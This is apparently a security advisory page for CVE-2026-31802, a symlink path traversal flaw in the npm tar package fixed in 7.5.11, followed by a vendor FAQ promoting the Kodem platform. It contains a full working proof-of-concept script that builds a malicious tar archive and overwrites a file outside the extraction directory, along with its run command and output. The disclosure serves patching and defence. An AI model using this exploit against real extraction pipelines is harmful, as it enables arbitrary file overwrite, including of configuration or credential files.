CVE-2026-31802

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with [email protected].

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2026-31802? CVE-2026-31802 is a high-severity path traversal vulnerability in tar (npm), affecting versions <= 7.5.10. It is fixed in 7.5.11. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of tar are affected by CVE-2026-31802? tar (npm) versions <= 7.5.10 is affected.
3. Is there a fix for CVE-2026-31802? Yes. CVE-2026-31802 is fixed in 7.5.11. Upgrade to this version or later.
4. Is CVE-2026-31802 exploitable, and should I be worried? Whether CVE-2026-31802 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-31802 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-31802? Upgrade tar to 7.5.11 or later.